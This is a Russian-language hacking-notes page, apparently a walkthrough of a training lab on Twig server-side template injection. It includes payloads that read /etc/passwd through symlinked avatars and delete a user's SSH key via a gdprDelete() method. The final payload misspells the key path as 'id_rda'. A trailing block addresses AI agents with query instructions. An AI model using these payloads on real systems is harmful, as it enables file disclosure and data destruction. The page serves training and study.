> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/ssti/ssti-with-custom-exploit.md).

# SSTI с пользовательским эксплойтом

### Инъекция шаблонов на стороне сервера с пользовательским эксплойтом

Приложение уязвимо к SSTI-инъекции. / Цель — создать пользовательский **exploit** который позволяет вам удалить `/home/carlos/.ssh/id_rsa`\*\* файл. / Возможная связь с пользователем: `wiener:peter`.

#### Точка инъекции

У **псевдоним** поле уязвимо:

```python
}}{{7*7
```

Выражение вычисляется.

<figure><img src="/files/ee96d60867e4da61c074542bab2ec75846a4c9e7" alt=""><figcaption></figcaption></figure>

Вызвав ошибку:

```php
}}{{7/a
```

Обнаружено, что используемый движок — **Twig (PHP)**.

<figure><img src="/files/f5c0131920e87ccd5252a664c5aa8253b90272b4" alt=""><figcaption></figcaption></figure>

#### Перенаправление функции D

Можно задать пользовательский аватар через:

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/f20879476a50f01b07196e6a457d551f07025c9d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/013fdad4b13aa6477fcecc57f7209b6e8ee735cf" alt="" width="496"><figcaption></figcaption></figure>

Этот механизм создаёт **символическую ссылку** к любому читаемому файлу. / Таким образом, вы можете восстановить своё содержимое, скачав аватар.

#### Пример

Читать `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

Файл доступен при открытии изображения

<figure><img src="/files/bb53e67f350aeeb79338be5a13505060a0168a48" alt=""><figcaption></figcaption></figure>

#### Анализ кода `User.php`

У `/home/carlos/User.php` файл показывает:

<figure><img src="/files/283822c22a875549fd45314a1f59aa0314d4961b" alt=""><figcaption></figcaption></figure>

\*\*Функция `gdprDelete()` фактически удаляет файл, на который указывает символическая ссылка. \*\*/ Именно это и следует использовать, чтобы удалить `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

#### Операция: Удаление `/home/carlos/.ssh/id_rsa`

Создайте символическую ссылку на SSH-ключ Карлоса

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

Запустите удаление через:

```php
user.gdprDelete()
```

Символическая ссылка указывает на `id_rsa`/ `gdprDelete()` удаляет **цель** ссылку \*\*`id_rsa` файл удаляется. \*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/ssti/ssti-with-custom-exploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
